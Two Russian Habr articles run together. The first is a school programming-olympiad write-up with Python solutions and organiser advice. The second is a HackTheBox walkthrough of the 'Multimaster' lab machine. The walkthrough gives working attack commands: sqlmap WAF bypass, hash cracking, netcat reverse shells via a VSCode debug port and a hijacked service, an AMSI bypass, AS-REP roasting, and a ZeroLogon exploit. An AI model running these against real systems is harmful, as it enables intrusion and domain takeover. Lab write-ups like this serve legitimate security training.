День недели задаётся через ввод пользователя с клавиатуры числом от 1 до 7. Составить программу, в которой визуально (scratch/snap) – на экране отображается название этого дня любым способом (например, функция говорить/думать). Текстовое (python) – название дня выводится в консоль на экран.

Примерный тест:

Входные данные

1

3

Выходные данные

Понедельник

Среда

Решение 4
days = ['Понедельник','Вторник','Среда','Четверг','Пятница','Суббота','Воскресенье'] day = int(input()) print(days[day - 1])

Задача 5

Через ввод с клавиатуры задаётся количество чисел. Затем сами числа передаются через ввод пользователя с клавиатуры и заносятся в готовый пустой список. Сделать программу, изменяющую элементы списка, числа кратные 5 заменять на 2 (умноженную на кратность заменяемого числа), а числа кратные 2 заменять на 5 (умноженную на кратность заменяемого числа). Числа передаются в готовый пустой список. Результат записывается в список. Визуально (scratch/snap) – на экране отображаются все элементы списка любым способом (например, функция говорить/думать). Текстовое (python) – элементы списка выводится в консоль на экран в одну строку.

Примерный тест:

Входные данные:

Выходные данные:

6

10 2 6 20 4 5

4 5 15 8 10 2

Решение 5
nums = int(input()) listnums = [] for i in range(nums):     listnums.append(int(input())) for i in range(nums):     if listnums[i] % 5 == 0:         listnums[i] = listnums[i] // 5 * 2     elif listnums[i] % 2 == 0:         listnums[i] = listnums[i] // 2 * 5     print(listnums[i])

Задача 6

Условие этой задачи очень простое: вам всего лишь надо определить, сколько клеток находится под боем шахматного коня, одиноко стоящего на шахматной доске. На всякий случай напомним, что конь ходит буквой «Г» — на две клетки по горизонтали или вертикали в любом направлении, и потом на одну клетку в направлении, перпендикулярном первоначальному. Программа получает на вход через вводы пользователя с клавиатуры два числа от 1 до 8 каждое, задающие номер столбца и номер строки, обозначающие позицию коня на шахматной доске. Визуально (scratch/snap) – на экране отображаются любым способом (например, функция говорить/думать) количество клеток шахматной доски, находящихся под боем коня. Текстовое (python) – количество клеток шахматной доски, находящихся под боем коня выводится в консоль на экран.

Примерный тест:

Входные данные:

Выходные данные:

1 5

4

8 1

2

Решение 6
vozmojnost = 0 stolb = int(input()) stroka = int(input()) # Конь ходит вправо if stolb + 2 < 9:     if stroka + 1 < 9: # и вверх         vozmojnost += 1      if stroka - 1 > 0: # и вниз         vozmojnost += 1  # Конь ходит влево         if stolb - 2 > 0:     if stroka + 1 < 9: # и вверх         vozmojnost += 1      if stroka - 1 > 0: # и вниз         vozmojnost += 1  # Конь ходит вверх         if stroka + 2 < 9:     if stolb + 1 < 9: # и вправо         vozmojnost += 1     if stolb - 1 > 0:# и влево         vozmojnost += 1 # Конь ходит вниз         if stroka - 2 > 0:     if stolb + 1 < 9:# и вправо         vozmojnost += 1     if stolb - 1 > 0:# и влево         vozmojnost += 1         print(vozmojnost)

Задача 7

Заданы две клетки шахматной доски. Если они покрашены в один цвет, то выведите слово YES, а если в разные цвета — то NO. Программа получает на вход через вводы пользователя с клавиатуры четыре числа от 1 до 8 каждое, задающие номер столбца и номер строки сначала для первой клетки, потом для второй клетки. Визуально (scratch/snap) – на экране отображаются любым способом (например, функция говорить/думать) YES или NO. Текстовое (python) – выведите YES или NO в консоль на экран.

Примерный тест:

Входные данные:

Выходные данные:

1 1 2 6

YES

Решение 7
summ = 0 for i in range(4):     summ += int(input()) if summ % 2 ==0:     print('YES') else:     print('NO')

Задача 8

На ипподроме наметилось городское соревнование. Но никто не знает сколько будет участников. Места всем хватит, но есть проблема с расширением стартового загона. Представьте загон в виде квадратной таблицы. Участника номер один необходимо ставить в правом верхнем (переднем) углу, далее участников ставят по диагоналям сверху вниз, последний участник стоит в левом нижнем углу. Чтобы быстро сделать расстановку необходимо вывести на табло данную таблицу. Организатор в последний момент сообщит Вам только количество участников (программа получает на вход через ввод пользователя с клавиатуры одно число).

Визуально (scratch/snap) – на экране рисуется таблица, в каждой ячейке вместо обычных чисел используйте точки, какое число – столько сгруппированных точек в ячейке. Текстовое (python) – вывести в консоль на экран таблицу с числовой расстановкой.

Примерный тест:

Входные данные:

Выходные данные текстовое:

9

4 2 1

7 5 3

9 8 6

Решение 8
vvod = int(input()) num = vvod ** 0.5 if int(num) != num:     num = int(num) + 1 else:     num = int(num) table = [[0] * num for i in range(num)] numb = 0 ivert = num for i in range(num):     if ivert > 0:         igoriz = 0         for i in range(num - ivert + 1):             if igoriz <= num - ivert:                 numb += 1                 if numb <= vvod:                     table[igoriz][ivert + igoriz - 1] = numb                 else:                     table[igoriz][ivert + igoriz - 1] = 0             igoriz += 1     ivert -= 1   ivert = 1             for i in range(num - 1):     if ivert < num:         igoriz = 0         for i in range(num - ivert):             if igoriz < num - ivert:                 numb += 1                 if numb <= vvod:                     table[ivert + igoriz][igoriz] = numb                 else:                     table[ivert + igoriz][igoriz] = 0             igoriz += 1     ivert += 1 for row in table:     for elem in row:         print(elem, end=' ')     print()

Задача 9

В наш город приехал чудо-зоопарк с множеством зверей. Одних только пингвинов 3 вида, 4 вида черепах, 5 видов акул и т.д. Вы весь день записывали названия животных в блокнот, а вечером решили подсчитать каких животных (не разделяя на виды) было больше всего. Сколько в блокноте всего животных неизвестно, но точно понятно, что каких-то животных больше и что сначала записано животное, а затем его вид, например, «Penguin Emperor». В каждой из следующих строк блокнота записано по одному виду животного. На вход подаётся файл input.txt с данными. Для scratch/snap в программе необходим пустой список для ручного импорта в него файла. Визуально (scratch/snap) – на экране отображаются любым способом (например, функция говорить/думать) название животного и их количество. Текстовое (python) – в консоль на экран в одну строку выводится название животного и их количество.

Примерный тест:

Входные данные:

Выходные данные:

Penguin Emperor

Shark zebra

Turtle Caiman

Shark white

Shark 2

Решение 9
file = open("input.txt") animal=[] kolvo=[] for stroka in file:     data = stroka.split()     animal.append(data[0]) for i in animal:     kolvo.append(animal.count(i)) maxi = 0 pos = 0 for i in range(len(kolvo)):     if kolvo[i] > maxi:         maxi = kolvo[i]         pos = i print(animal[i], maxi, end=" ")

Задача 10

Поговаривают, что сейчас самая популярная игра у школьников — brawl stars. Ты наверняка чемпион и прокачал множество персонажей. Близится соревнование и поэтому надо разбить персонажей на две равные команды. У вас есть несколько персонажей известного уровня w1, …, wn. Напишите программу, которая распределит персонажей в две команды так, что разность суммы уровней этих двух команд будет минимальной. Ввод содержит уровни персонажей w1, …, wn (1 ≤ wi ≤ 100) через пробел с именами персонажей. На вход подаётся файл input.txt с данными. Для scratch/snap в программе необходим пустой список для ручного импорта в него файла

Ваша программа должна вывести имена персонажей первой команды, затем одно число — минимальную разность уровней двух команд. Затем имена персонажей второй команды.

Визуально (scratch/snap) – вывод последовательно заносится в список. Текстовое (python) – ответ выводится в консоль на экран отдельными строками.

Примерный тест:

Входные данные:

Выходные данные

4 Shelly

7 Bull

10 Bo

12 8-bit

15 ElPrimo

20 Tick

Tick

Bo

Shelly

0

ElPrimo

8-bit

Bull

Решение 10
file = open("input.txt") pers_dict = [] for pers in file:     data = pers.split()     pers_dict.append((data[1], int(data[0]))) pers_dict.sort(key = lambda elem: elem[1], reverse = True)                command1 = [] command2 = [] summa1=0 summa2=0 for elem in pers_dict:     if summa1 <= summa2:         command1.append(elem)         summa1 += elem[1]     else:         command2.append(elem)         summa2 += elem[1] for key in command1:     print(key[0])      if summa1> summa2:     print(summa1-summa2) else:     print(summa2-summa1) for key in command2:     print(key[0])

Какими выводами хотелось бы поделиться по итогам:

  • Организовать городскую олимпиаду просто, сделайте её дистанционной, не переживайте за гугление участниками, разработайте свои задачи и тогда нагуглить решение будет в разы сложнее, чем решить.

  • Финансирование олимпиады — дело минимальное, берите пример с Роббо, они Российскую олимпиаду по scratch проводят мега бюджетно — электронные дипломы и сертификаты участника с факсимиле организатора, но сути это не меняет — красивая электронная «бумажка» в наличии.

  • Не нужно придумывать автоматизированную проверку, не так страшно ручное тестирование решений. Главное заранее подготовьте тесты.

  • Думаете будет мало участников? Разошлите электронные письма в школы города. Всегда найдётся педагоги, которые очень заинтересованы в таких мероприятиях.

  • Наша олимпиада оказалась очень сложной для школьников всех возрастов, хотя я переживал об обратном. Реально полезной оказалась градация задач по сложности. Задачи 8-10 можно смело забыть, вместо них мы решили в будущем добавить 6 простых задач, схожих по уровню с 4 задачей.

Я очень надеюсь, что статья будет полезной руководителям кружков программирования и педагогам. Смело проводите местные олимпиады, смотрите решения ваших учеников, делайте выводы для улучшения своей образовательной программы.

ссылка на оригинал статьи https://habr.com/ru/post/519836/

HackTheBox. Прохождение Multimaster. Burp+Sqlmap. AD users from MSSQL. Уязвимость в VSCode. AMSI bypass и CVE ZeroLogon

Привет, с вами Ральф. Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье очень много всего. Посмотрим как для удобства совместить Burp Suite и sqlmap, узнаем как получить пользователей домена имея доступ к MSSQL, эксплуатируем уязвимость в Visual Studio Code, блокируем AMSI, выполняем AS-REP Roasting для получения учетных данных и повышаем привилегии из группы Server Operators. А в качестве демонстрации новой уязвимости ZeroLogon, захватим эту же машину другим путем меньше чем за 5 минут.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon

Данная машина имеет IP адрес 10.10.10.179, который я добавляю в /etc/hosts.

10.10.10.179 	multimaster.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.179  --rate=500

На хосте открыто много портов. Теперь просканируем их с помощью nmap, чтобы отфильтровать и выбрать нужные.

nmap multimaster.htb -p593,49674,139,5985,49744,445,636,80,49667,3268,464,389,53,135,88,9389,3269,49676,49666,49699,49675,3389

Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A multimaster.htb -p593,139,5985,445,636,80,3268,464,389,53,135,88,9389,3269,3389

С SMB и LDAP ничего сделать не выходит, посмотрим веб.

На сайте есть авторизация, а также форма поиска.

Причем поиск работает по вхождению.

Таким образом, можно предположить, что в SQL запросе используется оператор LIKE. Поэтому можно попытаться вывести все записи.

Получается, что мы имеем SQL инъекцию.

Но вывести хоть что-либо не выходит. Видимо используется WAF.

Но его получилось обойти за счет использования Unicode кодировки.

И находим количество столбцов.

Значит инъекция есть 100%.

Sqlmap + Burp Suite

Для того, чтобы легко работать с базой, используем sqlmap. Мы знаем способ кодирования и СУБД — отразим это в параметрах. Так же сохраним запрос из Burp Suite в файл и укажем его sqlmap. Давайте определим пользователя, под которым выполняются запросы.

sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --current-user

И неудачно, такой же ответ мы получали без использования кодирования. Давайте укажем Burp в качестве прокси для sqlmap. И чтобы не тратить время укажем технику внедрения кода Union based (параметр U).

sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --current-user

Перехватываем запросы в burp, и видим несколько иное отображение кодировки.

Давайте проверим, работает ли она. Закодируем уже известную нам нагрузку данным образом.

И она не работает. Значит нам нужно изменять отображение кодировки. Сделать это можно с помощью Burp. Перейдем на вкладку Proxy -> options и к разделу Match and Replace.

Добавим правило, которое в теле запроса будет менять %u на \u.

И удостоверимся, что оно активно.

Теперь снова выполним sqlmap.

sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --random-agent --current-user

В Burp наблюдаем уже исправленный запрос.

Разрешаем передачу для всех запросов. И в sqlmap получаем имя текущего пользователя.

Но снова видим ошибку. Видимо WAF. Давайте добавим задержку 3 секунды и узнаем привилегии.

sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 --random-agent --privileges

Мы ничего не можем сделать. Узнаем базы данных.

sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 --dbs

Посмотрим таблицы из Hub_DB.

sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 -D Hub_DB --tables

То что нужно. Таблица Logins. Извлечем из нее все данные.

sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 -D Hub_DB -T Logins --dump

И так, мы имеем пользователей и хеши паролей. Здесь присутствует все 4 различных хеша. Давайте узнаем какие.

Теперь узнаем режимы hashcat, которые мы будем перебирать.

Всего три режима. И используя последнй мы ломаем три хеша.

hashcat -a 0 -m 17900 hashes.txt ./tools/rockyou.txt

Но данные хеши не подходят для SMB. Копаем дальше.

USER

То что мы можем получать данные из MSSQL дает нам возможность получить пользователей домена. Сейчас покажу, как это сделать. Первым делом, нам нужно получить название домена.

И теперь нам нужно узнать его SID. SID домена мы можем получить, узнав SID любого объекта домена и откинув от него RID. В любом домене существует группа Domain Admins. Это позволяет нам заранее существующий в домене объект. Давайте узнаем его SID.

Так, он закодирован. Чтобы отобразить его в нормальном виде, используем функцию sys.fn_varbintohexstr.

И мы получаем SID данного объекта. Далее идея такая: мы получаем SID домена и подставляя разные RID, получим имена пользователей по существующему SID. Для примера, RID администратора — 500.

Из полученного SID возьмем первые 48 байт.

И добавляем в конец, RID — 500 (не забываем перевернуть).

И теперь получим имя учетной записи по нашему SID.

Так как это работает, получим объекты домена. Для перебора я использую Burp Intruder.

Отправив в Intruder запрос, выделяем наши переменные 4 байта. Далее нужно сгенерировать эти переменные 4 байта.

for i in range(1100, 9100,1000):     for j in range(50):         h = hex(i+j)[2:].rjust(4,'0')         SID = ""         for c in (h[2:]+h[:2]):             SID += "0x" + hex(ord(c))[2:]         print(SID)

Сохраняем результат в файл и указываем в Burp.

Также выключаем URL кодирование и заменяем все 0x на \u00.

Помним про WAF, ставим один поток и и задержку между запросами.

Запускаем атаку, сортируем по длине ответа и наблюдаем много объектов.

Выбираем всех пользователей и сохраняем в файл. Также имеем три пароля. Перебираем SMB и находим верную пару.

Подключаемся к WinRM и мы в системе.

USER2

Попадая в систему, проводим разведку. Я делаю это с помощью winPEAS. Загружаем его на машину и запускаем. Ничего интересного там не обнаружили.

Значит пойдем по сложному пути. Нам нужно достать как можно больше учетных данных. Начнем с имен пользователей, которые есть в системе.

Сохраняем всех себе в файл. Но где мы можем найти хоть какой-нибудь пароль? На сервере используются баз данных, и для подключения к ней нужен пароль. Давайте попробуем достать его.

Но у нас нет прав на директорию веб-сервера. Уже не зная что делать, в моем списке осталась не закрыта позиция используемого на сервере программного обеспечения. Просмотрим список процессов.

И в глаза бросается VSCode.

Таким образом, на сервере запущен Visual Studio Code 1.37.1. И в нем есть уязвимости, позволяющие выполнить код!

Как следует отсюда:

An elevation of privilege vulnerability exists in Visual Studio Code when it exposes a debug listener to users of a local computer.

Злоумышленник, может внедрить произвольный код для запуска в контексте текущего пользователя для этого он должен определить, какой порт прослушивает Visual Studio Code. Для подключения к порту VSCode можем использовать cefdebug.

Давайте найдем прослушиваемый порт.

Отлично, такой порт есть. Давайте выполним код в контексте процесса VSCode. Выполним бэкконнект шелл с помошью nc.

.\cefdebug.exe --url ws://127.0.0.1:43819/da4e5078-2eaf-4b30-bac1-96370f4d2b3d --code "process.mainModule.require('child_process').exec(cmd.exe /c C:\Temp\nc64.exe -e cmd.exe 10.10.15.60 4321)"

И видим успешное подключение.

Идем в нашу директорию.

Из всего представленного наибольший интерес представляет API. Давайте скачаем его.

Я перешел в систему Windows и проверил, на чем написана данная библиотека.

Это C#, значит мы можем декомпилировать проект. Я использую dnSpy.

И в исходниках находим пароль. Но чтобы выяснить для какого он пользователя, используем перебор логинов (Password Spraying). Я использую CrackMapExec.

cme smb multimaster.htb -u users.txt -p "D3veL0pM3nT!"

И забираем еще одного пользователя

USER3

При попытке загрузить и использовать какое-либо средство разведки, нас блокирует AMSI. Давайте запатчим его с помощью Invoke-AlokS-AvBypass.

Теперь спокойно загружаем на хост sharphound.

И после запуска наблюдаем архив.

Теперь скачиваем его на локальный хост и закидываем в bloodhound. Далее в Queries выбираем Shortest Paths to High Value Targets.

Копаясь в графе, определяем связь между подконтрольным нам пользователем и другим пользователем домена.

Давайте получим информацию о связи.

Таким образом, мы можем получить хеш пароля пользователя (о самом процессе уже описывалось в двух подобным райтапах). Активируем свойство — не требовать предварительную аутентификацию Kerberos.

И выполним запрос.

Копируем хеш и ломаем с помощью hashcat.

hashcat -a 0 -m 18200 krb_hashes.txt ./tools/rockyou.txt

Получаем пароль пользователя. И успешно заходим под ним.

ROOT

Получив информацию о пользователе, замечаем, что он является членом группы Server Operators.

Члены данной группы могут конфигурировать и запускать службы (а службы в в винде работают от имени SYSTEM). Обычно это делают через SensorDaraService.

Давайте изменить пусть к исполняемому файлу на команду бэкконнекта с помощью netcat.

reg add "HKLM\System\CurrentControlSet\Services\SensorDataService" /v ImagePath /t REG_EXPAND_SZ /d "C:\Temp\nc64.exe -e powershell 10.10.15.60 4321" /f

И после запуска службы наблюдаем подключение на 4321 порт.

sc.exe start SensorDataService

Мы с правами SYSTEM.

CVE-2020-1472

А теперь для демонстрации попробуем сразу захватить контроллер домена, даже не имея точки входа и опоры. Для этого используем недавно нашумевшую уязвимость ZeroLogon (CVE-2020-1472).

По большому счету, уязвимость CVE-2020-1472 заключается в несовершенстве схемы криптографической аутентификации Netlogon Remote Protocol. Этот протокол используется для аутентификации пользователей и машин в сетях, построенных на базе домена. В частности, Netlogon служит и для удаленного обновления паролей компьютеров. Уязвимость позволяет злоумышленнику выдать себя за компьютер-клиент и сбросить пароль контроллера домена.
Для теста попробуем запросить репликацию учетных данных с хешем 31d6cfe0d16ae931b73c59d7e0c089c0 (пустой пароль).

secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'MEGACORP/MULTIMASTER$@10.10.10.179'

Теперь используем эксплоит.

CVE-2020-1472.py MULTIMASTER MULTIMASTER$ 10.10.10.179

Нам сообщают, что атака проведена успешно. Запрашиваем репликацию учетных данных снова. И получаем их.

secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'MEGACORP/MULTIMASTER$@10.10.10.179'

А с хешем администратора можем подключиться через WinRM.

В частности, так можно захватить контроллер домена на базе:

  • всех версий Windows Server 2019, Windows Server 2016;
  • всех вариантов Windows Server версии 1909;
  • Windows Server версии 1903;
  • Windows Server версии 1809 (Datacenter, Standard);
  • Windows Server 2012 R2;
  • Windows Server 2012;
  • Windows Server 2008 R2 Service Pack 1.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

ссылка на оригинал статьи https://habr.com/ru/post/519814/